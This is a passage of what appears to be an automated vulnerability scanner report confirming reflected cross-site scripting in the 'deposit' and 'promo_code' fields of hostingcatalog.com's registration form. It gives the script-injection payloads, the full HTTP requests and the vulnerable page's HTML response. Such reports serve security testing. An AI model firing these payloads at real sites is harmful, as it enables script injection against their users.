f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='5F82287B94E338F2FB5FC247C7F67D7BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='5F82287B94E338F280D454E9312B505A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='5F82287B94E338F2ECBC18D085D8F44EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='5F82287B94E338F27B4DBDB14F106A15C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='5F82287B94E338F2CE615F2B21E2F3AA6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='5F82287B94E338F2D18763F9959EE4BDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='5F82287B94E338F2307AE985F221C218C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='5F82287B94E338F266D54019CC8D70A46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='5F82287B94E338F218E78D029D98AB81C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='5F82287B94E338F2A1381855552A22B06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='5F82287B94E338F295429266142187CAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='5F82287B94E338F24B2EDEF8E716F5A3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='5F82287B94E338F2DFC8EE1593029183C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='5F82287B94E338F2A10F69A7A8D0CF20C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='5F82287B94E338F2E70487B363CB278EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='5F82287B94E338F2F34E1D67EF77771FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='5F82287B94E338F2FA59329A9BC087CC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='5F82287B94E338F2AEBA9AC1BF9930B26F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='5F82287B94E338F26A49DD424B0F6A786F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST '"--></style></script><script>alert(0x001EF8)</script>
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 546
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001EF8)%3c%2fscript%3e&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:01:32 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='5F82287B94E338F23CCC9E1B3E992A76C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='5F82287B94E338F23318C6AB1E5F540A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='5F82287B94E338F24FADFA971CE5AFD7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='5F82287B94E338F2FC2CAB3FB60C8FCCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='5F82287B94E338F200DD1A946CAB48706F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='5F82287B94E338F2C241E0B4CC7F1ED9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='5F82287B94E338F254C29A8C08ED61FFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='5F82287B94E338F28B804237E193AE596F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='5F82287B94E338F273358E87656AC428C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='5F82287B94E338F26E219DF54CFF55856F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='5F82287B94E338F23C1764EA918657E7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='5F82287B94E338F26F3130A0DCAB8223C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='5F82287B94E338F28A3261C0CDB26EC4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='5F82287B94E338F28AFC62030B087284C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='5F82287B94E338F203A47B4503C4B712C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='5F82287B94E338F220C8F00148577871C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='5F82287B94E338F2E8FBEB22BCF939866F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='5F82287B94E338F27483B06B4E0184606F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='5F82287B94E338F2824B8496A7EC0F6F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST '"--></style></script><script>alert(0x001EF9)</script>
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 546
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001EF9)%3c%2fscript%3e&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:01:40 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all 